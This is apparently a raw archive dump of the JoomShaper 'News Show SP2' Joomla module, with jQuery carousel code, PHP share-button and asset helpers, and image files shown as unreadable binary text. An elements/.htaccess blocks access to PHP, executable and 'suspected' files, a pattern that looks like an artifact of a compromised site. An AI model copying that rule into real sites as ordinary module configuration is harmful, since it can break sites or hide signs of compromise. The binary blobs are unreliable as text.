        , direction = type == 'next' ? 'left' : 'right'
        , fallback  = type == 'next' ? 'first' : 'last'
        , that = this
        , e

      this.sliding = true

      isCycling && this.pause()

      $next = $next.length ? $next : this.$element.find('.item')[fallback]()

      e = $.Event('slide', {
        relatedTarget: $next[0]
      , direction: direction
      })

      if ($next.hasClass('active')) return

      if (this.$indicators.length) {
        this.$indicators.find('.active').removeClass('active')
        this.$element.one('walking', function () {
          var $nextIndicator = $(that.$indicators.children()[that.getActiveIndex()])
          $nextIndicator && $nextIndicator.addClass('active')
        })
      }

      if ($.support.nssp2transition && this.$element.hasClass('nssp2-slide')) {
        this.$element.trigger(e)
        if (e.isDefaultPrevented()) return
        $next.addClass(type)
        $next[0].offsetWidth // force reflow
        $active.addClass(direction)
        $next.addClass(direction)
        this.$element.one($.support.nssp2transition.end, function () {
          $next.removeClass([type, direction].join(' ')).addClass('active')
          $active.removeClass(['active', direction].join(' '))
          that.sliding = false
          setTimeout(function () { that.$element.trigger('walking') }, 0)
        })
      } else {
        this.$element.trigger(e)
        if (e.isDefaultPrevented()) return
        $active.removeClass('active')
        $next.addClass('active')
        this.sliding = false
        this.$element.trigger('walking')
      }

      isCycling && this.cycle()

      return this
    }

  }


 /* CAROUSEL PLUGIN DEFINITION
  * ========================== */

  var old = $.fn.nssp2

  $.fn.nssp2 = function (option) {
    return this.each(function () {
      var $this = $(this)
        , data = $this.data('nssp2')
        , options = $.extend({}, $.fn.nssp2.defaults, typeof option == 'object' && option)
        , action = typeof option == 'string' ? option : options.nsspwalk
      if (!data) $this.data('nssp2', (data = new newsShowSP2(this, options)))
      if (typeof option == 'number') data.to(option)
      else if (action) data[action]()
      else if (options.interval) data.pause().cycle()
    })
  }

  $.fn.nssp2.defaults = {
    interval: 5000
  , pause: 'hover'
  }

  $.fn.nssp2.Constructor = newsShowSP2


 /* CAROUSEL NO CONFLICT
  * ==================== */

  $.fn.nssp2.noConflict = function () {
    $.fn.nssp2 = old
    return this
  }

 /* CAROUSEL DATA-API
  * ================= */

  $(document).on('click.nssp2.data-api', '[data-nsspwalk], [data-nsspwalk-to]', function (e) {
    var $this = $(this), href
      , $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7
      , options = $.extend({}, $target.data(), $this.data() )
      , slideIndex  

    $target.nssp2(options)

    if (slideIndex = $this.attr('data-nsspwalk-to')) {
      $target.data('nssp2').pause().to(slideIndex).cycle()
    }

    e.preventDefault()
  })

}(window.jQuery);





/* CSS TRANSITION SUPPORT (http://www.modernizr.com/)
 * ======================================================= */

!function ($) {

  "use strict"; // jshint ;_;


  $(function () {

    $.support.nssp2transition = (function () {

      var transitionEnd = (function () {

        var el = document.createElement('bootstrap')
          , transEndEventNames = {
               'WebkitTransition' : 'webkitTransitionEnd'
            ,  'MozTransition'    : 'transitionend'
            ,  'OTransition'      : 'oTransitionEnd otransitionend'
            ,  'transition'       : 'transitionend'
            }
          , name

        for (name in transEndEventNames){
          if (el.style[name] !== undefined) {
            return transEndEventNames[name]
          }
        }

      }())

      return transitionEnd && {
        end: transitionEnd
      }

    })()

  })

}(window.jQuery);mod_news_show_sp2/assets/images/transparent_star.png000060400000007314150747276150017071 0ustar00�PNG


IHDR ���	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڬ�KhTg����N&7�J�qlL|vQA,#i�I�-���^JQ0 } -���JtU�.BBG��`]�(�qk�a�ޙ��3s��{��MHڤ��gs�������z���㣣��7����q��Ç4�n�644t��,�,K���.��B])x�ĉd<?e�a��Ok�k}``�b*��X,R,I�R���\^I�hcccWDd�%"444�m�6l� �H���#�:���W������@XU�C�6m�������:��ӈ�r�]�v�."�eY]ϟ?��
�l�d2#�D"a"��i�b��`۶�N��&T�L8p�`.��8�C$AD�y$�Z���f3�t� 0
T�4�P(�~���;---�J�E"B4%�������8�S��S�ūW����I�\�����377�i�\�v�(9�K'�Fw��J�V��<*�
�p���	�4w��;%�ɾJ�B�ZŲ�l:��O���ee��*�����ЊD�նm���=R���j����G������K,�U��@���)Hl	��J-"A�PdI#hbs��o��|�x���7�A��>����u5�N��R�2�6�����>-|�՘�����::�::��M�0z��s���L]��s��3m+�@��W�v�x]x>�֠wl���u�R�N�5ϵ�h*>�}Q�{-�r�<�T9��HÎw�Z��;|ǟ�Y���?�7�B�]�~�,��`j���-��o�_5P�{��������ޙ�מ��o��<8q�YƝ�E�lG�C<w��C1�S��0q�����y�k���\zqF��
��4!s*=�^��9�yp�Xk��a�}</x������R[�ul��<H��U3��/࿬�r~I�6�J5�J<��΃��u}~)�31C�v>�~�q������31�ԋ�6&��`�%g��)��:����{���シ����7����n ���`��xS�s��ق���IEND�B`�mod_news_show_sp2/assets/images/hits.png000060400000005724150747276150014451 0ustar00�PNG


IHDR
ͣ�9	pHYs��~�
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx��ҿ+����
$�d�M�f���_�e��~,V���JY�M�Y�QRdP$���ˏ�������[���~;M�0"��;fff�[�9�	�FD�'�tb��Gp5(5��Ua}��-&q�È��Ԋ~���.��E�P��<�#�:3�p+o�wRfV��t����GX���F{7XD3�1So1����G����.�0���8����,���*�Q��Jf6�T�6��',ėFP�?����Z+]串IEND�B`�mod_news_show_sp2/assets/images/loader.gif000060400000001323150747276150014720 0ustar00GIF89a�������������������������̿����⦦�����������䨨������������������������������!�NETSCAPE2.0!�Created with ajaxload.info!�	,-  �di���
���@�8�5p�{�۸�����@�.s��
E��B!�	,$`a`��i�����©�ҧ����X/(��;�!�	,6  ��a,�$	"c�b�(�ϴ��2�����[��K���ӸN��U*�N�!�	,5  ��ET��4b$I��<��uy�;�
�Ȅ>b�G��̑s9y�֋�*�R!!�	,2  �di�ֲX�DQ��H�bRUEɴ]�:^��f�_Q�#����c�J��!�	,7  �di�$q]���b�iمa�h㢶m�] ��a�.�M$��4_-66ˠ��R!�	,/  �di��DQ����r%R�
�5���p���Ěq��^-4CY��!�	,/  �di��DQ����r%R�
�5���p���Ěq��^-4CY��;mod_news_show_sp2/assets/images/more.png000060400000007033150747276150014437 0ustar00�PNG


IHDR
�r	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FPLTE������Ѭ�}tRNS��0J,IDATx�b`��L(�K000202BD�*`L��.�D��s'niz��IEND�B`�mod_news_show_sp2/assets/images/comments.png000060400000003001150747276150015311 0ustar00�PNG


IHDR�asBIT|d�	pHYs��~�tEXtSoftwareAdobe Fireworks CS3��FtEXtCreation Time2/17/08 ��XtEXtXML:com.adobe.xmp<?xpacket begin="   " id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 2007 22:11:41        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xap="http://ns.adobe.com/xap/1.0/">
         <xap:CreatorTool>Adobe Fireworks CS3</xap:CreatorTool>
         <xap:CreateDate>2008-02-17T02:36:45Z</xap:CreateDate>
         <xap:ModifyDate>2008-03-24T19:00:42Z</xap:ModifyDate>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:format>image/png</dc:format>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                           5Rd=IDAT8�Ց1jA��]en Xl��X�$7�y{�%7�w��
6jm!؊0����)�.�nb�*?�����y����ɓ�XD�PU��(�z�������r�d�^��*"1��Yk�g��f�Z��4�T5	�1x�\.���c��{�p8�z�?��hu�Z
�`���{��s�ar:��,W�j�b���l6i�Z%{�IӔn�[�k|������b�`��E������l6c��hp���#����|�s�_�*"��
�^����V@����z=��97�L&8禷���n�@����b���TF�~����IEND�B`�mod_news_show_sp2/assets/images/index.html000060400000000054150747276150014760 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/assets/images/nav-buttons.png000060400000006505150747276150015760 0ustar00�PNG


IHDR()��	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FpIDATx�ĕ�jA�?�<��֍��c��b]���m��H�i��
�Zc0&��`y�µC*�7����tV�M2�h�f�����?-$��)p���K�s��5�������O���eY>-�K���aĘL&3V��'�t:��z�Qp1���-f63�x)�(�C������:�<ߏ8��j�";���f6����E��h{�3)�7�}v�w�[�H
�{?����􀱙ͣ��c�'�>p(ߓ
�'M�n����O��L5p�`���v.��cl`l�/@|��g(��6���
�w0�P�����x�{���ڲ���܀�,��d2Y$5����{�ХC`�ϼ�0����|(��8��?Z��t�1�hf�����T���y
dQgf��h���,�'�o�'��5K��*�$���s�$�P�sn֠_
��z����Hԋ�L]G��Us6N�ܓ�Q����S�D��{���{E�!�7'Ia�
��+�V����yͮ"Y���3H�$F��V��u�����F�z�(�D-�m'I��[�6IEԺt��ʴ�V��|��$F�$��F�+�VPkD�{!(�:��j4��0��e��(�ht��IEND�B`�mod_news_show_sp2/social.php000060400000003573150747276150012210 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

class modNSSP2SocialHelper {
	
	 public static function icons($data, $params) {
		
		$icons = array();
		$url = urldecode(JRoute::_(strstr($data->link, 'index.php')));
		$url = rtrim(JURI::base(),'/') . $url;
		
		if ($params->get('btn_like')) { // Facebook Like
			$icons[] = '<span class="ns2-share-icon"><div class="fb-like" data-href="' . $url . '" data-send="false" data-layout="button_count" data-width="80" data-show-faces="false"></div></span>';
			
			if (defined('_NS2LIKE')) {
			
				define ('_NS2LIKE', 1);
				
				echo '<div id="fb-root"></div>';
				JFactory::getDocument()->addScriptDeclaration('
				(function(d, s, id) {
				  var js, fjs = d.getElementsByTagName(s)[0];
				  if (d.getElementById(id)) return;
				  js = d.createElement(s); js.id = id;
				  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=354400064582736";
				  fjs.parentNode.insertBefore(js, fjs);
				}(document, \'script\', \'facebook-jssdk\'));
				');			
			}
			
		}
		
		if ($params->get('btn_twitter')) { //Twitter Button
			$icons[] = '<span class="ns2-share-icon"><a href="https://twitter.com/share" class="twitter-share-button" data-text="' . $data->title . '" data-url="' . $url . '">Tweet</a></span>';
			JFactory::getDocument()->addScript('http://platform.twitter.com/widgets.js');
		}
			
		if ($params->get('btn_gplus')) { // Goolge Plus Button
			$icons[] = '<span class="ns2-share-icon"><g:plusone href="' . $url . '" size="medium"></g:plusone></span>';
			JFactory::getDocument()->addScript('https://apis.google.com/js/plusone.js');
		}
					
		return $icons;
	 }
}mod_news_show_sp2/elements/assets.php000060400000001353150747276150014046 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport('joomla.form.formfield');

class JFormFieldAssets extends JFormField
{
	protected	$type = 'Assets';
	
	protected function getInput() {
		$doc = JFactory::getDocument();
		JHtml::_('jquery.framework');
		$doc->addScript(JURI::root(true).'/modules/mod_news_show_sp2/elements/js/script.js');
		$doc->addStylesheet(JURI::root(true).'/modules/mod_news_show_sp2/elements/css/style.css');			
		
		return null;
	}
}mod_news_show_sp2/elements/index.html000060400000000054150747276150014025 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/elements/.htaccess000044400000000177150747276150013636 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_news_show_sp2/elements/images/index.html000060400000000054150747276150015272 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/elements/images/arrow_down.png000060400000005542150747276150016173 0ustar00�PNG


IHDR

�2Ͻ	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
